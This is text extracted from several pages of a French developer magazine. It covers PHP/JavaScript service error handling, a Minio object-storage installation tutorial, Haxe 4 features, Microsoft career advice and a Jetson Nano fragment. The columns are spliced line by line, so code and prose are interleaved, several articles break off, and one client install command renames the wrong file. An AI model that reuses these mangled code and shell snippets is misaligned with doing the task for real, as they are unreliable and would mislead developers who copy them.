The following error types cannot be handled with a user defined
class GetTables extends Service {
function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARN-
function __construct ($debug=false) {
ING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of
parent::__construct ('GetTables', $debug);
E_STRICT raised in the file where set_error_handler() is called.
}
Pour parvenir malgré tout à remonter ces erreurs, le script installe
function run ($params) {
un autre gestionnaire à l’aide de la fonction
parent::run ($params);
register_shutdown_function () :
mysqli_select_db ($GLOBALS['link'], $params->database);
$result = mysqli_query ($GLOBALS['link'], 'SHOW TABLES'); register_shutdown_function (function () {
$list = array (); // Ne pas oublier de passer la directive display_errors à "stderr" dans php.ini !
for ($count = 0 ; $count != mysqli_num_rows ($result) ; $count++) { $error = error_get_last ();
$record = mysqli_fetch_array ($result); if (!$error)
array_push ($list, $record[0]); return;
} $message = array ('file' => $error['file'], 'line' => $error['line'], 'message' => $error['message']);
$response = new Response ($this->name, RESPONSE_SUCCESS, $list); $response = new Response ("System", RESPONSE_ERROR_PHP, $message);
$this->reply ($response->toJSON ()); echo ($response->toJSON ());
} exit ();
} });
La variable globale $GLOBALS['link'] est le produit d’un appel à la Attention ! pour que cette astuce fonctionne, il ne faut pas oublier
fonction mysqli_connect () . C’est typiquement le genre d’appel récur- de passer la directive display_errors à "stderr" dans php.ini. A
rent lors du traitement d’une requête, qui peut à ce titre être facto- défaut, PHP envoie l’erreur sur la sortie standard, ce qui signifie
risé au niveau de la fonction Service::run () : que l’erreur est affichée avant que le gestionnaire ne soit appelé, si
bien que ce dernier perd l’avantage de pouvoir retourner l’erreur
class Service {
sous une forme exploitable par le client.
// ...
De son côté, le client peut donc être confronté à deux types d’er-
function run ($params) {
reurs :
$GLOBALS['link'] = mysqli_connect (MYSQL_HOSTNAME, MYSQL_USER, MYSQL_PASSWORD);
• des erreurs protocolaires (par exemple, une erreur 404) ;
}
• des erreurs système (celles dont il vient d’être question).
// ...
Le client détecte les deux, et remonte l’information au développeur
}
via la console. Cette information n’étant pas de la même nature
Pour le reste, tout est dans le code de la méthode ::run () qui doit selon le type d’erreur – aucune réponse n’est fournie par le script
générer la réponse à adresser au client via un appel à la méthode dans le premier cas, puisqu’il n’a pu être joint -, elle fait l’objet de
Service::reply () hérité. mises en forme différenciées.
Tout cela s’articule avec la gestion de base de l’appel au service par
Remonter les erreurs du serveur le client. La méthode .run () de l’objet Service crée un objet
Pour permettre le traitement de l’erreur par le client, qu’il s’agisse XMLHttpRequest , en lui fournissant comme callback une fonction
d’une erreur rencontrée par PHP ou le service, le script en charge anonyme qui appelle la méthode .callback () de ce même objet :
de l’exécution du service prend le contrôle de la gestion des erreurs
Service.prototype.run = function (params=null) {
rencontrées par PHP. Pour cela, il installe son propre gestionnaire à
return (new Promise ((resolve, reject) => {
l’aide de la fonction set_error_handler () .
var formData;
Dès lors, les erreurs rencontrées par PHP – du moins celles qui peu-
this.request = new XMLHttpRequest ();
vent parvenir à ce gestionnaire, car elles surviennent après son ins-
programmez.com// 71
JAVASCRIPT
this.request.open ("POST", this.script, true); $service->run ($request->params);
this.request.onreadystatechange = ((o, resolve, reject) => { }
return (() => o.callback.call (o, resolve, reject)); catch (Exception $exception) {
}) (this, resolve, reject); header ('Content-Type: application/json');
request = new Request (this.service, params, this.debug); $message = array ('file' => $exception->getFile (), 'line' => $exception->getLine (), 'message'
formData = new FormData (); => $exception->getMessage ());
formData.append ("request", JSON.stringify (request)); $response = new Response ("System", RESPONSE_ERROR_SERVICE, $message);
if (this.debug) echo ($response->toJSON ());
this.log (`Sending\n\t\tRequest:\t${JSON.stringify (request)}\n\t\t\t\tService:\t${this. exit ();
service}\n\t\t\t\tParams:\t\t${JSON.stringify (params)}\n\t\t\t\tDebug:\t\t${this.debug}`); }
this.request.send (formData); Enfin, déboguer…
})); Pour visualiser les erreurs pouvant survenir lors de l’invocation d’un
}; service, il faut spécifier le drapeau debug à true lors de la création
Service.prototype.callback = function (resolve, reject) { de l’objet du service sur le client, par défaut à false :
if (this.request.readyState !== 4)
return; service = new ServiceGetDatabases (true);
if (this.request.status !== 200) Plus généralement, cela permet d’accéder au détail de tous les
this.onFailure (resolve, reject); échanges. La requête et la réponse, que cette dernière remonte
else une réponse ou une erreur, sont alors affichées avec un luxe de
this.onSuccess (resolve, reject); détails dans la console. Par exemple :
};
// Log (start)
En dehors de ces erreurs, pour déboguer le script, il peut être utile Script: /test/index.php
de faire parvenir un message au client au niveau d’une certaine Service: GetTables
instruction dans ce dernier. Pour cela, la meilleure solution consiste Message: Sending
à s’appuyer sur la levée d’exceptions. Par exemple : Request: {"service":"GetTables","params":{"database":"test"},"debug":true}
Service: GetTables
throw (new Exception ("Message pour le client");
Params: {"database":"test"}
Cela implique que l’exécution du service se déroule dans le cadre Debug: true
d’une gestion des exceptions. //Log (end)
C’est la raison pour laquelle le programme principal du script est // Log (start)
enserré dans un bloc try { ... } catch { ... } : Script: /test/services.php
Service: GetTables
try {
Message: Receiving
$request = Request::fromJSON (getCGI ('request'));
Success
if (!class_exists ($request->service))
Response: {"code":0,"data":["tst_log","tst_news","tst_pages","tst_sessions","tst_users"],"debug":false}
throw (new Exception("Service \"$request->service\" does not exist."));
Code: 0
$service = new $request->service;
Data: ["tst_log","tst_news","tst_pages","tst_sessions","tst_users"]
� Debug:false
//Log (end)
72 //programmez.com
Ilane HAZOUT
Ingénieur de formation et passionné d'informatique et de technologie, et
après 10 ans d'expérience en tant que consultant informatique, Ilane Hazout
CLOUD
est responsable technique de compte auprès des éditeurs de logiciels et des
startups chez 3DS OUTSCALE depuis 2016. Ilane est garant du bon fonc-
tionnement des infrastructures Cloud des clients de 3DS OUTSCALE.
N
ous allons nous attarder pour développer les avantages
d’utiliser un stockage objet comme Minio. Il s'agit en fait cher les fonctions spécifiques via son service de notifications niveau
de rendre vos données encore plus accessibles. Chaque
objet peut bénéficier de permissions spécifiques (ACL) et être éga-
lement accessible via votre navigateur ou directement depuis la
d'évènements compatible avec les files d'attente de messages telles
que Kafka, et les bases de données telles que Elasticsearch, Redis
et Postgres.
200
CLI. Le stockage objet est une solution adaptée pour stocker des
données de type statique, des images, des vidéos ou des librairies Pour augmenter les capacités d’intégration de l’outil dans un éco-
en JS. Il existe quelques cas d’utilisation pour lesquels il est possible système déjà existant, Minio propose une authentification
de stocker des images complètes de machine virtuelle sur un compatible avec les fournisseurs d'identités tels que Okta, Ping
Bucket. Identity ou bien évidemment avec un annuaire plus classique
comme un Active Directory.
De même, une des forces de cet applicatif est d'indexer en temps
réel tous les fichiers contenus sur les volumes rattachés au serveur Minio est un projet open source (sous licence Apache 2.0) de stoc-
Minio. Avec ce type de système en Cluster, vous pouvez faire évo- kage objet compatible avec l’API OSU 3DS OUTSCALE.
luer simplement votre espace de stockage. L’organisation des L’application est écrite en langage Go. Elle est conçue nativement
données non structurées, vous permet de stocker des milliards de pour le Cloud, avec une interface Web. Il rend disponible des fi-
fichiers sans les problèmes de complexité et de performance qui chiers de tous types via le protocole HTTP et HTTPS.
peuvent arriver dans des environnements hiérarchiques. Vous pou-
vez donc mettre à l'échelle les performances ou la capacité Après l’installation du serveur Minio, nous avons accès à une interface
simplement en ajoutant des instances Minio. Web (port 9000 par défaut) très épurée. Avec l’interface, il est pos-
sible de gérer les fichiers en « drag and drop », créer des Buckets,
De plus, tous les objets possèdent des métadonnées et tous les fi- ajouter des fichiers, partager des fichiers via une URL pré-signée.
chiers sont gérés avec un identifiant unique qui correspond à l'URL.
Les métadonnées et le numéro d'identification unique permettent Cas d’utilisation avancée
d’ignorer l'emplacement exact des données dans l'environnement Le déploiement de plusieurs instances Minio associées avec un ser-
de stockage. Tous les objets sont accessibles depuis toutes les ins- veur Nginx. Dans ce cas, Minio est capable de gérer le stockage
tances Minio grâce à une URL unique. Seules des règles de Objet. Pour soulager de la partie accès http, nous pouvons coupler
routages IP et des mécanismes DNS sont requis pour accéder aux Minio avec un serveur web.
ressources. Ce type d’organisation va également nous permettre de Un serveur de stockage objets léger tel que Minio peut être utilisé
positionner les métadonnées sur le même volume que les données pour fournir un stockage évolutif au niveau du backend d’une ap-
elles-mêmes. Dès lors, cela permet d’optimiser les temps d’accès plication.
et par là même de supprimer un éventuel goulot d’étranglement
vers un serveur de métadonnées unique. Cas d’utilisation sauvegarde
Activer une sauvegarde rapide avec une gateway Minio connectée
Dans certains cas d’usage, le stockage objet est utilisé comme un au stockage objet 3DS OUTSCALE
environnement de sauvegarde ou comme un espace d’archivage • Présentation d’une solution de sauvegarde rapide, basée sur la
indexé. Cela présente des avantages si les objets sont rattachés à commande mirror. Cette dernière est gérée directement par le
des métadonnées car la recherche et la récupération de fichiers ou client Minio MC.
de clips multimédia parmi des millions ou des milliards de fichiers • Pour déporter la sauvegarde vers un stockage objet redondé et
devient plus facile. garanti par 3DS OUTSCALE, nous utiliserons la mécanique de la
Gateway Minio.
programmez.com// 73
CLOUD
1. INSTALLATION Configuration du client
DE MINIO SERVEUR Ajout des Credentials et de l’adresse du serveur indiqués lors du
Installation du serveur lancement du serveur :
Téléchargement de la partie serveur
$> mc config host add myminio http://monserveur.com:9000
$> cd && wget https://dl.minio.io/server/minio/release/linux-amd64/minio 0Z8EWX25P758A8XCJAMB SECRET_KEY
$> chmod +x minio && mv -v minio /usr/bin/. && ln -s /usr/bin/minio ~/minio
Tester le client
Configuration du serveur Minio Le test du client est très simple et consiste à lister les fichiers dispo-
La configuration du serveur Minio ne se fait plus via un fichier de nibles sur la partie serveur de notre stockage objet :
configuration. La configuration se fait via des variables d’environ-
$> mc ls s3://myminio
nement. Voici trois exemples pour paramétrer votre serveur :
$> minio server /home/USER/DD_STD_1T/ /home/USER/DD_STD2_1T/ $> mc share download --recursive --expire=120h
Endpoint: http://171.33.88.100:9000 http://172.17.0.1:9000 "myminio/bucket_pdf/monfichier.pdf"
http://monserveur.com:9000/minio/login URL: http://monserveur.com:9000/bucket_pdf/monfichier.pdf
AccessKey: 0Z8EWX25P758A8XCJAMSecretKey: XXXXXXXXXXXXXXXXXXX Expire: 5 days 0 hours 0 minutes 0 seconds
Share: http://monserveur.com:9000/bucket_pdf/monfichier.pdf?X-Amz-
Tester le serveur Algorithm=AWS4-HMAC-SHA256&X-Amz-
Pour tester le serveur, rien de plus simple : il suffit d’interroger l’URL
Credential=0Z8EWX25P758A8XCJAMB%2F20180218%2Fus-east-
indiquée par le retour de la commande ci-dessus.
1%2Fs3%2Faws4_request&X-Amz-Date=20180218T164549Z&X-Amz-Expires=432000
2. INSTALLATION Ici, notre stockage objet nous répond avec une URL pré-signée qui
DE MINIO CLIENT est générée pour l’occasion. L’URL permet donc de télécharger ou
Téléchargement du client de visionner la ressource monfichier.pdf pendant 120h.
https://monserveur.com:9000 �
$> wget https://dl.minio.io/client/mc/release/linux-amd64/mc
$> chmod +x minio && mv -v minio /usr/share/. && ln -s /usr/share/minio ~/minio
� 4. SÉCURISER L’ACCÈS AVEC
UN CERTIFICAT SSL
Dépendance à installer pour utiliser le
protocole HTTPS avec Minio Serveur
$> sudo apt-get update && sudo apt-get install software-properties-common
$> sudo add-apt-repository universe
$> sudo add-apt-repository ppa:certbot/certbot
$> sudo apt-get update$> sudo apt-get install certbot
74 //programmez.com
CLOUD
programmez.com// 75
JEUX
David MOUTON
Architecte Applicatif chez
Haxe
Onepoint
C
ela fait également bien longtemps que les développements
niveau ne sont plus cantonnés au monde du desktop sous
Classes,
Packages, Inlined calls
Pattern
Matching Enum
Voici une petite liste des fonctionnalités offertes par le langage : (a, b) -> a + b
76 //programmez.com
JEUX
• Final keyword • Key-value iterators
Il est maintenant possible de déclarer des propriétés en “final” pour La boucle for s'enrichit d’une itération basée sur la paire clef + valeur.
les rendre immuables et en faire des constantes.
for (key => value in collection) {}
final a = 5
• Inline Markup
Ce mot clef est aussi utilisable sur des classes et des interfaces afin L’engouement autour de JSX n’est sûrement pas étranger à l’arri-
d'empêcher l’héritage. vée du support de cette syntaxe dans Haxe 4.
A noter, qu’on peut aussi passer par une macro pour rendre tout ou
une partie de son code non nullable.
--macro nullSafety('package.to.null.check')
programmez.com// 77
CARRIÈRE
Christophe PICHAUD
Architecte Microsoft chez .Net Azure Rangers
[email protected] | www.windowscpp.com
78 //programmez.com
CARRIÈRE
qui fournit tout ou partie des technologies Si vous recherchez une aide MSDN dite
Microsoft ? J’ai la solution… « legacy », Microsoft met à disposition sur
son site de download, le MSDN Library for
Mise à niveau Visual Studio 2008 SP1. On y trouve le
Pour partir sur de bonnes bases, lisez le Windows SDK traditionnel avec les API
« Guide .NET d’Architecture Windows v2 » Win32, le .NET Framework, SQL Server,
de Microsoft : des whitepapers. Cela pèse 2,2 GB et cela
http://windowscpp.com/Books/AppArchGuideV2.pdf peut être utile. Lien de download :
� https://www.microsoft.com/en-us/download/details.aspx?id=20955
Ce guide va vous expliquer comment faire
des applications découpées en couches. Expert Technique ou
Ceci est la base du développement. Il faut Architecte ?
absolument maîtriser cette étape en préam- Il y a deux types d’architectes : ceux qui co-
bule. Même si vous commencez, il vous dent et les autres. Un architecte qui ne
faut un vernis d’architecture. Vous l’obtien- code pas ne colle plus à la réalité. Il a be-
drez dans cet ouvrage technique gratuit. soin des autres, il reste au stade du
PowerPoint et des belles paroles. Un Expert
Les samples Microsoft technique, lui, colle à la réalité, il sait ce qui
Depuis 25 ans, Microsoft, au travers de fonctionne et ce qui fonctionne moins bien.
MSDN, Microsoft Developer Network, publie Il va au-delà du discours marketing de l’édi-
des samples de code type. De nos jours, teur et sait lire entre les lignes. Architecte
�
l’heure est aux microservices, aux architec- est un métier spécial. Expert technique,
tures Docker ou Kubernetes avec des API c’est l’assurance de participer sur un projet
Web et des applications mobiles ou Web. La en entier et pas seulement au démarrage.
solution se nomme eShopOnContainers.
Ce sample existe en deux versions : Docker Les certifications et le
et Kubernetes. Il met en oeuvre une applica- salaire
tion Mobile, une application Web, une app Un expert technique est certifié. C’est obliga-
PWA, des Web API et des microservices. toire. Cela passe par des phases d’examen à
Il est clair que si vous savez réaliser ce intervalles réguliers. Ne brulez pas les étapes,
genre d’application, vous êtes un Expert si vous passez des examens MCP via les exa-
�
Microsoft mais la marche est haute à fran- mens blancs, vous bachotez, vous ne validez « petit jeune ». Un Expert technique maîtri-
chir. Il faut y aller avec étapes. Ce sample pas une expérience… Qui dit Expertise et cer- se les technologies et donc son temps.
est fourni avec 3 ouvrages techniques tifications dit valorisation salariale. En effet, C’est important. Faites-vous avoir une ou
Microsoft Press gratuits : les compétences techniques se monnayent. deux fois et vous serez plus vigilant.
https://aka.ms/microservicesebook Faites jouer la concurrence. Il est facile d’ob-
https://aka.ms/dockerlifecycleebook tenir 10% à 20% de plus entre un certifié et un Travaillez en Freelance
https://aka.ms/xamarinpatternsebook � non certifié. Si vous ne savez pas par où com- L’Expert technique est bon candidat à
Cela va vous prendre du temps, mais inves- mencer, passez la 70-483 « Programming l’exercice d’une activité en freelance. Il
tir sur ce sample est un investissement qui C# » et ensuite choisissez votre cursus : choisit ses missions, ses clients, ses techno-
vaut le détour. Tous les trucs et astuces y Mobile, Web ou Desktop ou Cloud. Je crois logies. Pensez-y, il n’y a pas que le mode
sont décrits et vous épargneront des heures que Desktop est déprécié, à vérifier… salarié. L’avantage du freelance est qu’il est
de recherche sur le web. Oui c’est impor- plus autonome et plus libre qu’un salarié.
tant mais c’est le prix à payer. L’Etat d’esprit de l’Expert Toutefois, il doit aussi faire le rôle de com-
En tant qu’Expert technique, on se remet mercial pour se trouver des missions.
Ressources en cause régulièrement. On se remet à ni- Certains y trouvent leur intérêt.
La bible pour apprendre le .NET veau, on acquiert de nouvelles
Framework, le CLR, le JIT, le GC, c’est compétences. En revanche, il est une règle Conclusion
« CLR via C# ». Cet ouvrage explique le d’or : on ne se s’improvise pas. On ne fait Être un Expert Microsoft demande de l’in-
fonctionnement système du CLR et tous les pas des claquettes. Une fois que vous men- vestissement en temps, en années. Cela
fondamentaux. C’est du système et c’est tez sur vos capacités, vous êtes grillé. Ne peut être une trajectoire de carrière profes-
important de comprendre cela. Pour maîtri- l’oubliez pas. Si vous devez faire face à sionnelle. Ce n’est pas qu’un développeur,
ser le langage, O’Reilly propose « C# 7 in a quelque chose que vous ne connaissez pas, ce n’est pas un consultant généraliste, c’est
Nutshell » et APress propose « Pro C#7 ». protégez-vous, ne produisez pas, formez- un expert qui apporte une vraie valeur ajou-
Si vous installez Visual Studio, téléchargez vous et mettez-y les formes. Un Expert tée à ses clients par sa maîtrise des
l’aide en ligne. technique ne se fait pas balader comme un technologies et des produits. •
programmez.com// 79
MATÉRIEL
Maxime Ellerbach
lycéen
[email protected]
Ports et connectiques
Le Jetson Nano est très bien servi en connectique, Il embarque 4
ports USB 3.0, un port Ethernet, un port micro USB pour l’alimen-
tation et le transfert de données, ainsi qu’un port barrel jack pour
délivrer encore plus d’énergie à la carte.
Côté affichage, on a un DisplayPort 1.2 et un Hdmi 2.0 pouvant
être utilisés de manière simultanée.
Et pour finir, 40 pins GPIO dans la même configuration que les
Raspberry Pi.
Installation de package
et modules Python
Je vais directement passer à la partie software sans expliquer l’ins-
tallation de l’image sur la carte SD, si vous voulez en savoir plus sur
l’installation de l’image et le premier boot, Nvidia propose un très
bon tutoriel : https://developer.nvidia.com/embedded/learn/get-started-jetson-
nano-devkit.
La carte possède une architecture « aarch64 » qui est donc diffé-
rente de celle des Raspberry Pi (« ARMv8 »), il faut donc s’attendre
à beaucoup d’incompatibilités.
J’ai rencontré des problèmes avec « XRDP », un package qui per-
met de se connecter à distance à la machine, le package était
installé mais dès lors que je veux me connecter il plante. Même
80 //programmez.com
MATÉRIEL
programmez.com// 81
en attendant le fix
www.g-echo.fr
[email protected]
Toulouse - Paris